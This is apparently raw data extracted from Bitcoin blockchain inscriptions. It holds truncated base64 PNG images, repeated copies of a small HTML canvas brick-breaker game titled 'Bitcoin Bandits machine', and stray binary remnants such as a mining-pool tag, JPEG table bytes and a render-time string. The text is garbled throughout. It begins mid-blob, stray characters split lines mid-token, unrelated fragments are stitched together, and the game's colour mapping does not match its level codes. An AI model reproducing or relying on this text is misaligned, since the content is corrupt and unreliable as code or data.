XDr6+qLPpKSsAYMigwYISoAGCEqJg75UlTvqfK5M/oy3cZU/0w7qkEEDBCWDprblXuzL95rutPPsMl97Oup27txZtO+///6U0urNpK+evLlor73UvWgcZa1xZ05R5pOTQQMEJUADBKXEUVOtjfVrPB6L/hw9ejSllNKZT3+357F37+g+SOx9f/W7fY3bz9j9jHvixIme81uN8jLC+vXri3abJYXOnKLMJyeDBghKgAYISomjQpOb6peVQ+o8LZyFNt/xwdL+I0/OFe3fHuDYgxgX+iGDBghKgAYISoljQJQo2vMbt3f/M37s+bdGZmzoRQYNEJQADRCUEgcjLy895CWJQ083M/YgxoV+yKABghKgAYJS4qipdM+NVL6Ko+rY4wemui+m1l3+96HB3gyzWjW50sIqDoZNBg0QlAyakXfy6edGcmzoRQYNEJQADRCUEgcjZdeuXZcbJ7/RzLgNjA3LJYMGCEqABghKiYORkj83rpctW7YU7SeeeKKVcWElZNAAQQnQM
AEEpcQzIM9+8I6WU0rELrxV9b118o2jPXXyze/B8jEe6j7Jjx46N5NhQhwwaICgBGiAoARogKAEaICgBGiAoARogKAEaICjroIP4wsHbi/bmibVFe//k9UU7X2N9MltjvRpt3759JMeGOmTQAEEJ0ABBKXEwUs6fPz9S48JKyKABghKgAYJS4mCknDlzpu0pLLBhw4a2p8AYk0EDBCVAAwSlxFFh3wNrui+m1hXN6Ylri3Z+Qwmrx+nTp0vbu3btamE2jDMZNEBQMugB+8TnnyvtP/jyq6X9x7+6rrSfpeWZ68aNG4d67vx8LhLSJBk0QFACNEBQShyMpGGXNaANMmiAoARogKAEaICgBGiAoARogKCs4oCa3OrNsMigAYISoAGCUuKAmuzFMXi/8+v3FO0TJ040fr5jx45lr+LuhyODBghKgAYISomDkTIqJYUtW7a0PQXGgAwaICgZNENTtgPd7OxsCzNp3szMTNFe7TvvTd/WvQi3c+fOop1fDPzLv/nuMKeUM
0pr3Lvl2ftFy6HPLyKABghKgAYJS4mhZ/pTw1WQ1fe1fTT9rHf/y9Mm2p5BSSmnu7EttT6GSDBogKAEaICgljpZtnljb9hRa5ev/6jKM27gHIco8ZdAAQQnQAEEpcbRs++T1bU8BCEoGDRCUAA0QlBLHgBy78FpKKaVty/wcwLvJoAGCkkGvwMmLb4QYAxhPMmiAoARogKCUOGqau/hm6PGA8SGDBghKgAYISomjH/MNbujd5NjASJNBAwQlQAMEpcRR5dzZZX1s3z11z3NxWecBxp8MGiAoARogKCWOdzv/YtszAEgpyaABwpJBp5TSqWfangGMrZmZmdL+HXv2DnkmS4s4Txk0QFACNEBQq6rEkX9VefLRR1qcSSyzs7NtT4Er8r9FtBIAwyeDBghKgAYI6qode/a+0/YkAFhMBg0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRCUM
AA0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRCUAA0QlAANEJQADRDU/wMzszHyG/hf8QAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O",M
"O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=M
level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=padM
dle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricM
ks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,lM
.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
Blender:RenderTime:00:00.40
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/html;charset=utf-8
c/Foundry USA Pool #dropgold/
6j4ion:2.QmafzMxkwf6G7XkzjQkvCPtwz9N8SUUL2jpfTxNjyq58Kar
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R",M
"R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=M
12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}funM
ction loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;M
ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.yM
,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame
(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
